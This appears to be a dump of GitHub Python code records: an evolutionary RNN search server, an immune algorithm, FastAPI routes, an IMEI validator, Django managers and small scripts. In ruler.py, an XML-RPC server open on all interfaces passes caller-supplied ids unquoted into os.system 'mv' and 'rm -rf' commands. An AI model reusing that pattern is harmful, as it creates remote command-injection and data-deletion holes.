n_hidden\n\n        self.pool = Pool(16)\n        dirs = os.listdir(workdir)\n        for i in ['live', 'dead', 'born']:\n            if i not in dirs:\n                os.mkdir(os.path.join(self.workdir, i))\n        live_path = os.path.join(self.workdir, 'live')\n        self.lock = max([0]+[int(i) for i in os.listdir(live_path)])\n\n        # init first\n        dirs = os.listdir(live_path)\n        for _ in range(n_live - len(dirs)):\n            net = network(n_hidden)\n            nid = self.newId()\n            npath = os.path.join(self.workdir, 'live', nid)\n            os.mkdir(npath)\n            with open(os.path.join(npath, 'cell.pickle'), 'wb') as fd:\n                pickle.dump(net, fd)\n            net.writeLua(os.path.join(npath, 'cell.lua'))\n\n    def newId(self):\n        self.lock = self.lock + 1\n        return str(self.lock)\n\n    def born(self):\n        live_path = os.path.join(self.workdir, 'live')\n        cands = os.listdir(os.path.join(live_path))\n        cand = random.choice(cands)\n        pickle_path = os.path.join(live_path, cand, 'cell.pickle')\n        with open(pickle_path, 'rb') as fd:\n            net = pickle.load(fd)\n        net = self.mutate(net)\n        nid = self.newId()\n        net.parent_path.append(nid)\n        logger.warning('born net from ' + cand + ' to ' + str(nid))\n        npath = os.path.join(self.workdir, 'born', nid)\n        os.mkdir(npath)\n        with open(os.path.join(npath, 'from'), 'w') as fd:\n            print(str(cand), file=fd)\n        with open(os.path.join(npath, 'cell.pickle'), 'wb') as fd:\n            pickle.dump(net, fd)\n        lua_code = net.getLua()\n        max_iters = min(int(int(nid) + 2500), 1e5)\n\n        return {'id': nid, 'lua': lua_code, 'task': 'neuraltalk2-ERNN',\n                'args': {'num_rnn': self.n_hidden, 'max_iters': max_iters}}\n\n    def fight(self, nid, metric):\n        path = os.path.join(self.workdir, 'born', nid)\n        with open(os.path.join(path, 'cell.pickle'), 'rb') as fd:\n            net = pickle.load(fd)\n        # plt.clf()\n        # nx.draw(net.G)\n        # plt.savefig(os.path.join(path, 'cell.png'))\n        max_result = metric['CIDEr']\n        with open(os.path.join(path, 'cell.lua'), 'w') as fd:\n            print('-- %f' % max_result, file=fd)\n            print('--[[', file=fd)\n            print(metric, file=fd)\n            print('--]]', file=fd)\n            fd.write(net.getLua())\n        live_path = os.path.join(self.workdir, 'live')\n\n        id_path = os.listdir(live_path)\n        scores = self.pool.imap_unordered(\n            partial(get_score, live_path), id_path)\n        scores = sorted(scores, key=lambda x: x[1])\n        bad_part = scores[:math.ceil(len(scores)/2)]\n        p = random.choice(bad_part)\n        logger.warning('rpc ret: {} -> {} against {} ({})'\n                       .format(nid, metric, p[0], p[1]))\n\n        min_path = os.path.join(live_path, p[0])\n        min_live = p[1]\n        if min_live < max_result:\n            logger.debug('mv %s %s' %\n                         (min_path, os.path.join(self.workdir, 'dead')))\n            logger.warning('win')\n            os.system('mv %s %s' %\n                      (min_path, os.path.join(self.workdir, 'dead')))\n            logger.debug('mv %s %s' % (path, live_path))\n            os.system('mv %s %s' % (path, live_path))\n        else:\n            logger.warning('lose')\n            logger.debug('rm -rf %s' % path)\n            os.system('rm -rf %s' % path)\n        return True\n\n    def mutate(self, net):\n        def randomLayer():\n            layers = ((linearLayer, 0.5),\n                      (reluLayer, 1),\n                      (dropoutLayer, 1),\n                      (sigmoidLayer, 1),\n                      # (add01Layer, 1),\n                      # (mul11Layer, 1),\n                      # (mul09Layer, 1),\n                      # (muln1Layer, 1),\n                      (tanhLayer, 1),\n                      (caddLayer, 2),\n                      (cmulLayer, 2),\n                      # (batchnormalizationLayer, 1),\n                      )\n            count = sum([i[1] for i in layers])\n            rv = random.random() * count\n            current_sum = 0\n            for i in layers:\n                current_sum = current_sum + i[1]\n                if current_sum > rv:\n                    return i[0]()\n\n        mutate_weight = [3, 7, 12, 14]\n\n        made = 0\n        changes = 1 + int(random.expovariate(1))\n        logger.info('changes: ' + str(changes))\n        while made < changes:\n            try:\n                rv = random.randrange(mutate_weight[-1])\n                if rv < mutate_weight[0]:\n                    # add\n                    e = random.choice(net.G.edges())\n                    net.addNodeOnEdge(randomLayer(), e)\n                elif mutate_weight[0] <= rv < mutate_weight[1]:\n                    # replace\n                    node = net.randomNode(None)\n                    if not net.replaceNode(node, randomLayer()):\n                        logger.info('mutate (replace) fail')\n                        made = made - 1\n                elif mutate_weight[1] <= rv < mutate_weight[2]:\n                    # change connect\n                    node = net.randomNode(None, withOutput=True)\n                    if not net.changeNodeConnect(node):\n                        logger.info('mutate (change) fail')\n                        made = made - 1\n                else:\n                    # remove\n                    node = net.randomNode(None)\n                    if not net.removeNode(node):\n                        logger.info('mutate (remove) fail')\n                        made = made - 1\n                made = made + 1\n            except NotPossibleError:\n                logger.warning('not possible mutate random')\n                continue\n            except:\n                logger.fatel('ERR!')\n        net.simplify()\n        return net\n\n    def listen(self, port):\n        server = SimpleXMLRPCServer((\"0.0.0.0\", port))\n        server.register_function(self.born, 'born')\n        server.register_function(self.fight, 'fight')\n        logger.warning('listening at port: ' + str(port))\n\n        server.serve_forever()\n","repo_name":"iaalm/ERNN","sub_path":"ruler.py","file_name":"ruler.py","file_ext":"py","file_size_in_byte":13785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"23152092332","text":"import math\nimport random\nimport sys\n\nPOPULATION_SIZE = 100   #Tamanho population\nSELECTION_SIZE = 5      #Numero de selecionados\nNUM_CLONES = 3          #Numero de clones\nMUTATION_RATE = 0.5     #Intesidade de hipermutacao\nNUM_NEW = 3             #Numero de novos anti corpos a serem gerados\nEVALUATIONS = 100000    #Numero de avaliacoes\n\n\nclass Antibody:\n    def __init__(self, genes, afinity, norm_afinity):\n        self.genes = genes\n        self.afinity = afinity\n        self.norm_afinity = norm_afinity\n\n    def copy(self):\n        return Antibody(self.genes[:], self.afinity, self.norm_afinity)\n\n\ndef set_problem(p):\n    global problem, ANTIBODY_SIZE\n    problem = p\n    ANTIBODY_SIZE = problem.NUM_POINTS\n\n\ndef create_population(population_size):\n    population = []\n    for i in range(population_size):\n        population.append(Antibody(problem.create_solution(), -1, -1))\n    return population\n\n\ndef evaluate_population(population):\n    for antibody in population:\n        evaluate_solution(antibody)\n\n\ndef evaluate_solution(antibody):\n    antibody.afinity = problem.evaluate_solution(antibody.genes)\n\n\ndef normalize_afinity(population):\n    min = max = population[0].afinity\n\n    for antibody in population:\n        if antibody.afinity > max:\n            max = antibody.afinity\n        if antibody.afinity < min:\n            min = antibody.afinity\n\n    for antibody in population:\n        if (max - min > 0):\n            antibody.norm_afinity = (antibody.afinity - min) / (max - min)\n        else:\n            antibody.norm_afinity = (antibody.afinity - min)\n\n\ndef select_best(population):\n    best = []\n    population.sort(key = lambda ac: ac.afinity)\n    for i in range(SELECTION_SIZE):\n        best.append(population[i])\n    return best\n\n\ndef clone(best):\n    clones = []\n    for i in range(SELECTION_SIZE):\n        num_clones = int(NUM_CLONES * SELECTION_SIZE / (i+1))\n        for clone in range(num_clones):\n            clones.append(best[i].copy())\n    return clones\n\n\ndef hypermutation(clones):\n    for clone in clones:\n        hyp_rate = math.exp(-MUTATION_RATE * clone.norm_afinity)\n        if random.uniform(0, 1) < hyp_rate:\n            while(True):\n                r1 = random.randint(0, ANTIBODY_SIZE-1)\n                r2 = random.randint(0, ANTIBODY_SIZE-1)\n                if r1 != r2: break\n            aux = clone.genes[r1]\n            clone.genes[r1] = clone.genes[r2]\n            clone.genes[r2] = aux\n\n\ndef replace_worst(population, clones):\n    best_clones = select_best(clones)\n    for i in range(SELECTION_SIZE):\n        population[POPULATION_SIZE - i - 1] = best_clones[i]\n    population_aux = create_population(NUM_NEW)\n    evaluate_population(population_aux)\n    for i in range(NUM_NEW):\n        population[POPULATION_SIZE - SELECTION_SIZE - i - 1] = population_aux[i]\n\n\ndef init_progress():\n    global evaluations\n    evaluations = POPULATION_SIZE\n\n\ndef update_progress():\n    global evaluations\n    evaluations += POPULATION_SIZE\n\n\ndef execute():\n\n    population = create_population(POPULATION_SIZE)\n    evaluate_population(population)\n    init_progress()\n    while(evaluations < EVALUATIONS):\n        normalize_afinity(population)\n        selected = select_best(population)\n        clones = clone(selected)\n        hypermutation(clones)\n        evaluate_population(clones)\n        replace_worst(population, clones)\n        update_progress()\n    return population\n","repo_name":"rhrlima/bio_algorithms","sub_path":"algorithms/sia/sia.py","file_name":"sia.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75081304249","text":"def compteur(chaine_a_compter) :\n\t\"\"\"Fonction servant à compter le nombre de caractères dans une chaine.\"\"\"\n\tstr(chaine_a_compter)\n\ti=0\n\tfor lettre in chaine_a_compter :\n\t\ti+=1\n\tprint(\"Il y a \",(i),\" lettres dans cette chaine de caracteres.\")\n\n#def compteurNb(nb_a_compter) :\n#\tint(nb_a_compter)\n#\tj=0\n#\twhile j<lenght(nb_a_compter):\n#\t\tj+=1\n#\tprint(\"Il y a \",(j),\" chiffres dans ce nombre.\")\n\n\n#help(compteur)\n\nchaine=raw_input(\"Entrez une chaine de caractères SVP :\")\n#str(chaine)\nprint(chaine)\ncompteur(chaine)\n\nnombre=input(\"Entrez un nombre SVP :\")\nint(nombre)\nprint(nombre)\n\n\n\n# Fin du programme.\n\n#os.system(\"pause\")\n# WINDOWS UNIQUEMENT, affiche un message \"appuyez sur une touche pour terminer\"\n","repo_name":"jeremieberger/Repository-J.Berger","sub_path":"Python/Projets/Cours Openclassrooms/Tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74260181689","text":"\"\"\"\nTask route.\n\"\"\"\nfrom typing import List\n\nfrom fastapi import APIRouter, Depends, Response\n\nfrom crawlerstack_spiderkeeper.rest_api.utils import (auto_commit,\n                                                      service_depend)\nfrom crawlerstack_spiderkeeper.schemas.task import Task, TaskUpdate\nfrom crawlerstack_spiderkeeper.services import TaskService, task_service\nfrom crawlerstack_spiderkeeper.utils import CommonQueryParams\n\nrouter = APIRouter()\n\n\n@router.get('/tasks', response_model=List[Task])\nasync def get_multi(\n        response: Response,\n        service: service_depend(TaskService) = Depends(),\n):\n    \"\"\"\n    Get tasks\n    :param response:\n    :param service:\n    :return:\n    \"\"\"\n    count = await service.count()\n    response.headers['X-Total-Count'] = str(count)\n    data = []\n    if count:\n        data = await service.get()\n    return data\n\n\n@router.get('/tasks/{pk}', response_model=Task)\n@auto_commit\nasync def get_by_id(\n        *,\n        pk: int,\n        service: service_depend(TaskService) = Depends(),\n):\n    \"\"\"\n    Get one task\n    :param service:\n    :param pk:\n    :return:\n    \"\"\"\n    return await service.get_by_id(pk=pk)\n\n\n@router.put('/tasks/{pk}', response_model=Task)\n@auto_commit\nasync def update(\n        *,\n        pk: int,\n        task_in: TaskUpdate,\n        service: service_depend(TaskService) = Depends(),\n):\n    \"\"\"\n    Update task by id.\n    :param service:\n    :param pk:\n    :param task_in:\n    :return:\n    \"\"\"\n    return await service.update_by_id(pk, task_in)\n\n\n@router.delete('/tasks/{pk}', response_model=Task)\n@auto_commit\nasync def delete(\n        *,\n        pk: int,\n        service: service_depend(TaskService) = Depends(),\n):\n    \"\"\"\n    Delete one task\n    :param service:\n    :param pk:\n    :return:\n    \"\"\"\n    return await service.delete_by_id(pk=pk)\n","repo_name":"crawlerstack/crawlerstack-spiderkeeper","sub_path":"src/crawlerstack_spiderkeeper/rest_api/routers/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"4077052049","text":"#Try to make a script that converts Celsius to Fahrenheit and creates a text file and stores the converted values inside the text file. Your text file content should look like this:\n#50.0\n#-4.0\n#212.0\n#Please don't write any message in the text file when input is lower than -273.15.\ndef convert_c_to_f(c):\n    if c > -273.16:\n        f=c*9/5+32\n        return f\n\n\ntemperatures=[10,-20,-289,100]\n\ndef convert(temperatures):\n    with open('temperature.txt', 'w') as file:\n        for t in temperatures:\n            if t > -273.16:\n                f=t*9/5+32\n                file.write(str(f)+\"\\n\")\n                \nconvert(temperatures)\n\nprint(\"Opening file...\\n\")\nfile=open(\"temperature.txt\", 'r')\ncontent=file.read()\nprint(\"Reading file...\")\nprint(content)\nfile.close()\nprint(\"Closing file...\\n\")\n\n\n","repo_name":"rabdhir/Python","sub_path":"Py15/Coding_Exercise5.py","file_name":"Coding_Exercise5.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74424150648","text":"import numpy as np\nfrom fuzzywuzzy import fuzz\n\nfrom guided_redaction.analyze.classes.GridPointScorer import GridPointScorer\n\n\nclass DataSifterCompiler(GridPointScorer):\n\n    def __init__(self, data_sifter, movies, file_writer):\n        self.data_sifter = data_sifter\n        if 'source' in movies:\n            self.source_movies = movies['source']\n        del movies['source']\n        self.movies = movies\n        self.file_writer = file_writer\n        self.all_frameset_rows = {}\n        self.movie_max_frameset_rows = {}\n        self.all_movie_scores = {}\n        self.debug = False\n        self.row_threshold = 20\n        self.word_match_threshold = 80\n        for movie_url in self.movies:\n            self.all_frameset_rows[movie_url] = {}\n            self.movie_max_frameset_rows = {}\n            self.all_movie_scores[movie_url] = {}\n\n    def compile(self):\n        for movie_url in self.movies:\n            for frameset_hash in self.movies[movie_url]['framesets']:\n                frameset = self.movies[movie_url]['framesets'][frameset_hash]\n                self.all_frameset_rows[movie_url][frameset_hash] = \\\n                    self.build_frameset_rows(frameset, self.row_threshold)\n\n            max_frameset_hash = self.get_frameset_hash_with_max_rows(movie_url)\n\n            for frameset_hash in self.movies[movie_url]['framesets']:\n                best_score_obj = self.score_frameset(\n                    max_frameset_hash, movie_url, frameset_hash\n                )\n                self.all_movie_scores[movie_url][frameset_hash] = best_score_obj\n\n#       find a supermax frameset grid across the movies\n        supermax_movie_url = self.get_supermax_movie_url()\n        print('supermax movie url is {}'.format(supermax_movie_url))\n#       compare all non-supermax max grids to supermax max grid, save the results\n        max_row_scores = {}\n        for movie_url in self.movies:\n            if movie_url == supermax_movie_url:\n                continue\n            best_score_obj = self.score_against_supermax(supermax_movie_url, movie_url)\n#           looks like this:\n# {'total_score': 349, 'app_row_scores': [[0], [0], [0, 0], [0, 0, 0], [0, 0], [85], [82, 0, 0, 0, 0], [0, 0, 0], [0, 0, 0], [82, 0], [100, 0, 0, 0], [0, 0]], 'app_row_rta_coords': [[(0, 0)], [(0, 0)], [(0, 0), (0, 0)], [(0, 0), (0, 0), (0, 0)], [(0, 0), (0, 0)], [(2, 0)], [(3, 1), (0, 0), (0, 0), (0, 0), (0, 0)], [(0, 0), (0, 0), (0, 0)], [(0, 0), (0, 0), (0, 0)], [(5, 0), (0, 0)], [(5, 1), (0, 0), (0, 0), (0, 0)], [(0, 0), (0, 0)]], 'window_start': [180, 401], 'window_end': [269, 536], 'app_home_coords': (6, 0), 'app_home_text': {'source': 'ocr: east+tess', 'location': [133, 477], 'size': [98, 27], 'origin': [], 'ocr_window_start': [118, 341], 'scale': 1, 'scanner_type': 'ocr', 'text': 'Security reminder'}, 'app_row_scores_primary_coords': [12, 0]}\n            max_row_scores[movie_url] = best_score_obj\n#       for each supermax frameset grid field:\n#           find out how many non-supermax movie max grids did not see it\n#           if no one saw it:\n#               it's probably an anomaly, ignore\n#           if above a threshold*, \n#               this is text that varies by client, \n#               annotate the supermax entry for that grid element\n        supermax_grid = self.movie_max_frameset_rows[supermax_movie_url]\n        supermax_grid_scores = {}\n        for sm_grid_row_index, sm_grid_row in enumerate(supermax_grid):\n            for sm_grid_col_index, sm_col in enumerate(sm_grid_row):\n                missed_count = self.count_who_didnt_see_field(\n                    (sm_grid_row_index, sm_grid_col_index),\n                    max_row_scores\n                )\n                sm_text= supermax_grid[sm_grid_row_index][sm_grid_col_index]['text']\n                print('{} max apps didnt see {}'.format(missed_count, sm_text))\n                # if this nyumber is 1 or greater, the field only appears on supermax\n                # i.e. it's user data, not a label!!!\n#\n#  *the above threshold is because text can randomly 'ocr' slightly differently\n#      like a lowercase L becomes a one, or a word gets split into two.\n#\n# ALSO, TODO, add the thing to score_frameset, where, if no other frameset saw some field \n#     that is on max_frameset_grid, it's an anomaly, so ignore.\n\n#        print('hippies, take a bath!')\n#        print(self.all_movie_scores)\n#        print(self.movie_max_frameset_rows)\n\n        return {'donkey': 'cheese'}\n\n    def count_who_didnt_see_field(self, supermax_coords, max_row_scores):\n        missed_count = 0\n        for movie_url in max_row_scores:\n            saw_it = False\n            score_obj = max_row_scores[movie_url]\n            for row in score_obj['app_row_rta_coords']:\n                for col in row:\n                    if col[0] == supermax_coords[0] and col[1] == supermax_coords[1]:\n                        saw_it = True\n            if not saw_it:\n                missed_count += 1\n\n        return missed_count\n        \n    def score_against_supermax(self, supermax_movie_url, movie_url):\n        fs_rows = self.movie_max_frameset_rows[movie_url]\n        max_fs_rows = self.movie_max_frameset_rows[supermax_movie_url]\n        match_cache = {}\n        rta_scores = {}\n        for fs_row_index, row in enumerate(fs_rows):\n            for fs_col_index, col in enumerate(row):\n                score = self.score_one_row_token(\n                    match_cache, fs_rows, max_fs_rows, fs_row_index, fs_col_index\n                )\n                if score and score['total_score'] > 0:\n                    if fs_row_index not in rta_scores:\n                        rta_scores[fs_row_index] = {}\n                    rta_scores[fs_row_index][fs_col_index] = score\n        if not rta_scores:\n            return 0\n        best_score_obj = {}\n        best_total_score = 0\n        for row in rta_scores:\n            for col in rta_scores[row]:\n                grid_ele = rta_scores[row][col]\n                if grid_ele['total_score'] > best_total_score:\n                    best_score_obj = grid_ele\n                    best_total_score = grid_ele['total_score']\n        return best_score_obj\n\n    def score_frameset(self, max_frameset_hash, movie_url, frameset_hash):\n        # for each ocr match element we have:\n        #   find the best place to match on the max rows, score wise\n        # we now have the highest score match, \n        # update self.all_movie_scores\n        # add this variation of spelling to our object\n        # add the size to our database for this objecct\n        if frameset_hash == max_frameset_hash:\n            return # of course max matches itself 100%\n        fs_rows = self.all_frameset_rows[movie_url][frameset_hash]\n        max_fs_rows = self.all_frameset_rows[movie_url][max_frameset_hash]\n        self.movie_max_frameset_rows[movie_url] = max_fs_rows\n        match_cache = {}\n        rta_scores = {}\n        for fs_row_index, row in enumerate(fs_rows):\n            for fs_col_index, col in enumerate(row):\n                score = self.score_one_row_token(\n                    match_cache, fs_rows, max_fs_rows, fs_row_index, fs_col_index\n                )\n                if score and score['total_score'] > 0:\n                    if fs_row_index not in rta_scores:\n                        rta_scores[fs_row_index] = {}\n                    rta_scores[fs_row_index][fs_col_index] = score\n        if not rta_scores:\n            return 0\n        best_score_obj = {}\n        best_total_score = 0\n        for row in rta_scores:\n            for col in rta_scores[row]:\n                grid_ele = rta_scores[row][col]\n                if grid_ele['total_score'] > best_total_score:\n                    best_score_obj = grid_ele\n                    best_total_score = grid_ele['total_score']\n#        this looks like so:\n#        {'total_score': 1990, 'app_row_scores': [[82], [100], [91], [100, 0], [100, 86], [0, 89], [100, 0, 100], [0, 100, 0, 0], [100, 86], [100, 0, 82], [100, 95], [93, 100], [100], [0, 0, 86], [100]], 'app_row_rta_coords': [[(0, 0)], [(1, 0)], [(2, 0)], [(3, 0), (0, 0)], [(4, 0), (4, 1)], [(0, 0), (5, 1)], [(6, 1), (0, 0), (6, 2)], [(0, 0), (7, 1), (0, 0), (0, 0)], [(8, 0), (8, 1)], [(9, 0), (0, 0), (9, 1)], [(10, 0), (10, 1)], [(11, 0), (11, 1)], [(12, 0)], [(0, 0), (0, 0), (13, 1)], [(14, 0)]], 'window_start': [326, 424], 'window_end': [713, 858], 'app_home_coords': (0, 0), 'app_home_text': {'source': 'ocr: east+tess', 'location': [494, 225], 'size': [58, 17], 'origin': [], 'ocr_window_start': [311, 208], 'scale': 1, 'scanner_type': 'ocr', 'text': 'Alanidra'}, 'app_row_scores_primary_coords': [15, 0]}\n        return best_score_obj\n\n    def score_one_row_token(\n        self,\n        match_cache,\n        fs_rows, \n        max_fs_rows, \n        fs_row_index, \n        fs_col_index\n    ):\n        # takes a single 'word' on framesets rows, so a label or data field.\n        # finds the best score it can make by matching sequentially against \n        #   ANY point on the max frameset rows, then expanding above and below\n        fs_text = fs_rows[fs_row_index][fs_col_index]['text']\n        app_phrase_matches = self.find_potential_matches_for_rta_grid_point_in_app_grid(\n            self.word_match_threshold, \n            match_cache, \n            fs_text, \n            max_fs_rows\n        )\n        rta_phrase_matches = {}\n        for app_phrase in app_phrase_matches:\n            matched_app_phrase_data = app_phrase_matches[app_phrase]\n            scores_for_this_phrase = {}\n            for location_number, app_phrase_coords in enumerate(matched_app_phrase_data['app_locations']):\n                return_obj = self.score_rta_point_and_app_phrase_point(\n                    self.word_match_threshold,\n                    match_cache,\n                    fs_rows,\n                    (fs_row_index, fs_col_index),\n                    app_phrase_coords,\n                    max_fs_rows,\n                    None,  # max feature distances\n                )\n                scores_for_this_phrase[location_number] = return_obj\n            best_score_this_phrase = {'total_score': 0, 'row_scores': []}\n            for location_number in scores_for_this_phrase:\n                score_at_location = scores_for_this_phrase[location_number]\n                if score_at_location['total_score'] > best_score_this_phrase['total_score']:\n                    best_score_this_phrase = score_at_location\n            rta_phrase_matches[app_phrase] = best_score_this_phrase\n\n#        get highest value for rta_phrase_matches[x]['total_score']             \n        best_score_overall = {'total_score': 0, 'row_scores': []}               \n        for app_phrase in rta_phrase_matches:                                   \n            score_at_location = rta_phrase_matches[app_phrase]                  \n            if score_at_location['total_score'] > best_score_overall['total_score']:\n                best_score_overall = score_at_location                          \n        if self.debug:                                                          \n            print('best score overall: {}'.format(best_score_overall))          \n        print('===========best score for rta {}:{} {} is {}'.format(\n            fs_row_index, fs_col_index, fs_text, best_score_overall['total_score']\n        ))\n        return best_score_overall  \n\n    def get_supermax_movie_url(self):\n        movie_urls = list(self.movie_max_frameset_rows.keys())\n        sorted_movie_urls = sorted(\n            movie_urls,\n            key=lambda movie_url: (\n                len(self.movie_max_frameset_rows[movie_url]), \n                sum([len(x) for x in self.movie_max_frameset_rows[movie_url]])\n            )\n        )\n        max_movie_url = sorted_movie_urls[-1]\n        return max_movie_url\n\n    def get_frameset_hash_with_max_rows(self, movie_url):\n        frameset_hashes = list(self.movies[movie_url]['framesets'].keys())\n        sfhs = sorted(\n            frameset_hashes, \n            key=lambda fh: (\n                len(self.all_frameset_rows[movie_url][fh]), \n                sum([len(x) for x in self.all_frameset_rows[movie_url][fh]])\n            )\n        )\n        maximal_fh = sfhs[-1]\n        return maximal_fh\n\n    def build_frameset_rows(self, ocr_scan_frameset, row_threshold):\n        ocr_keys = list(ocr_scan_frameset.keys())\n        # sort ocr_keys by y, then x \n        ocr_keys = sorted(\n            ocr_keys, \n            key=lambda ocr: (\n                ocr_scan_frameset[ocr]['location'][1], \n                ocr_scan_frameset[ocr]['location'][0]\n            )\n        )\n        # group items that are close in the y axis = 'close enough' to the same row\n        rows = self.quantize_rows(ocr_keys, ocr_scan_frameset, row_threshold)\n        return rows\n\n    def quantize_rows(self, ocr_keys, frameset, row_threshold):\n        rows = []\n        cur_y = 0\n        build_row = []\n        for index, k in enumerate(ocr_keys):\n            ocr = frameset[k]\n            if ocr['location'][1] - cur_y > row_threshold:\n                # new row\n                if build_row:\n                    rows.append(build_row)\n                    build_row = [ocr]\n                    cur_y = ocr['location'][1]\n                    continue\n            added = False\n            for position, item in enumerate(build_row):\n                if item['location'][0] < ocr['location'][0]:\n                    continue\n                else:\n                    build_row.insert(position, ocr)\n                    added = True\n                    break\n            if not added:\n                build_row.append(ocr)\n            if index == len(ocr_keys) - 1:\n                rows.append(build_row)\n        return rows\n\n","repo_name":"dcaulton/guided_redaction","sub_path":"api/guided_redaction/analyze/classes/DataSifterCompiler.py","file_name":"DataSifterCompiler.py","file_ext":"py","file_size_in_byte":13705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15341343729","text":"from stdnum import luhn\nfrom stdnum.exceptions import *\nfrom stdnum.util import clean, isdigits\n\n\ndef compact(number):\n    \"\"\"Convert the IMEI number to the minimal representation. This strips the\n    number of any valid separators and removes surrounding whitespace.\"\"\"\n    return clean(number, ' -').strip().upper()\n\n\ndef validate(number):\n    \"\"\"Check if the number provided is a valid IMEI (or IMEISV) number.\"\"\"\n    number = compact(number)\n    if not isdigits(number):\n        raise InvalidFormat()\n    if len(number) == 15:\n        # only 15 digit IMEI has check digit\n        luhn.validate(number)\n    elif len(number) not in (14, 16):\n        # neither IMEI without check digit or IMEISV (which doesn't have one)\n        raise InvalidLength()\n    return number\n\n\ndef imei_type(number):\n    \"\"\"Check the passed number and return 'IMEI', 'IMEISV' or None (for\n    invalid) for checking the type of number passed.\"\"\"\n    try:\n        number = validate(number)\n    except ValidationError:\n        return None\n    if len(number) in (14, 15):\n        return 'IMEI'\n    else:  # len(number) == 16:\n        return 'IMEISV'\n\n\ndef is_valid(number):\n    \"\"\"Check if the number provided is a valid IMEI (or IMEISV) number.\"\"\"\n    try:\n        return bool(validate(number))\n    except ValidationError:\n        return False\n\n\ndef split(number):\n    \"\"\"Split the number into a Type Allocation Code (TAC), serial number\n    and either the checksum (for IMEI) or the software version number (for\n    IMEISV).\"\"\"\n    number = compact(number)\n    return (number[:8], number[8:14], number[14:])\n\n\ndef format(number, separator='-', add_check_digit=False):\n    \"\"\"Reformat the number to the standard presentation format.\"\"\"\n    number = compact(number)\n    if len(number) == 14 and add_check_digit:\n        number += luhn.calc_check_digit(number)\n    number = (number[:2], number[2:8], number[8:14], number[14:])\n    return separator.join(x for x in number if x)\n","repo_name":"arthurdejong/python-stdnum","sub_path":"stdnum/imei.py","file_name":"imei.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":453,"dataset":"github-code","pt":"77"}
+{"seq_id":"9254067455","text":"from django.db import models\n\n\nclass DefaultSelectOrPrefetchManager(models.Manager):\n    def __init__(self, *args, **kwargs):\n        self._select_related = kwargs.pop('select_related', None)\n        self._prefetch_related = kwargs.pop('prefetch_related', None)\n        super().__init__(*args, **kwargs)\n\n    def get_queryset(self, *args, **kwargs):\n        queryset = super().get_queryset(*args, **kwargs)\n        if self._select_related:\n            queryset = queryset.select_related(*self._select_related)\n        if self._prefetch_related:\n            queryset = queryset.prefetch_related(*self._prefetch_related)\n        return queryset\n\n\nclass ObjectsManager(DefaultSelectOrPrefetchManager):\n    def get_queryset(self):\n        return (\n            super()\n            .get_queryset()\n            .select_related()\n            .filter(deleted_on__isnull=True)\n            .order_by('-created_on')\n        )\n\n\nclass ObjectsAllManager(DefaultSelectOrPrefetchManager):\n    def get_queryset(self):\n        return super().get_queryset().select_related().order_by('-created_on')\n","repo_name":"VeemsHQ/veems","sub_path":"veems/common/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"77"}
+{"seq_id":"15063630868","text":"#!/usr/bin/python3\n\nimport csv\n# import plotly.graph_objects as go\nimport plotly.express as px\nimport plotly\nimport time\nimport numpy as np\nimport sklearn.datasets\nimport os\nimport sys\n\nTIME  = 1\nXGYRO = 2\nZACCL = 3\nYGYRO = 4\nZGYRO = 5\nXACCL = 6\nXMAG  = 7\nYMAG  = 8\nZMAG  = 9\nYACCL = 10\nTEAM  = 11\nACTIVITY   = 12\nFILE_INDEX = 13\n\ndef build_dataDict():\n    res = {\n        \"driving-0-xmag\": [],\n        \"driving-0-ymag\": [],\n        \"driving-0-zmag\": [],\n        \"driving-0-tmag\": [],\n        \"standing-0-xmag\": [],\n        \"standing-0-ymag\": [],\n        \"standing-0-zmag\": [],\n        \"standing-0-tmag\": [],\n        \"walking-0-xmag\": [],\n        \"walking-0-ymag\": [],\n        \"walking-0-zmag\": [],\n        \"walking-0-tmag\": [],\n        \"jumping-0-xmag\": [],\n        \"jumping-0-ymag\": [],\n        \"jumping-0-zmag\": [],\n        \"jumping-0-tmag\": [],\n        \"driving-1-xmag\": [],\n        \"driving-1-ymag\": [],\n        \"driving-1-zmag\": [],\n        \"driving-1-tmag\": [],\n        \"standing-1-xmag\": [],\n        \"standing-1-ymag\": [],\n        \"standing-1-zmag\": [],\n        \"standing-1-tmag\": [],\n        \"walking-1-xmag\": [],\n        \"walking-1-ymag\": [],\n        \"walking-1-zmag\": [],\n        \"walking-1-tmag\": [],\n        \"jumping-1-xmag\": [],\n        \"jumping-1-ymag\": [],\n        \"jumping-1-zmag\": [],\n        \"jumping-1-tmag\": [],\n\n        \"driving-0-xaccl\": [],\n        \"driving-0-yaccl\": [],\n        \"driving-0-zaccl\": [],\n        \"driving-0-taccl\": [],\n        \"standing-0-xaccl\": [],\n        \"standing-0-yaccl\": [],\n        \"standing-0-zaccl\": [],\n        \"standing-0-taccl\": [],\n        \"walking-0-xaccl\": [],\n        \"walking-0-yaccl\": [],\n        \"walking-0-zaccl\": [],\n        \"walking-0-taccl\": [],\n        \"jumping-0-xaccl\": [],\n        \"jumping-0-yaccl\": [],\n        \"jumping-0-zaccl\": [],\n        \"jumping-0-taccl\": [],\n        \"driving-1-xaccl\": [],\n        \"driving-1-yaccl\": [],\n        \"driving-1-zaccl\": [],\n        \"driving-1-taccl\": [],\n        \"standing-1-xaccl\": [],\n        \"standing-1-yaccl\": [],\n        \"standing-1-zaccl\": [],\n        \"standing-1-taccl\": [],\n        \"walking-1-xaccl\": [],\n        \"walking-1-yaccl\": [],\n        \"walking-1-zaccl\": [],\n        \"walking-1-taccl\": [],\n        \"jumping-1-xaccl\": [],\n        \"jumping-1-yaccl\": [],\n        \"jumping-1-zaccl\": [],\n        \"jumping-1-taccl\": [],\n\n        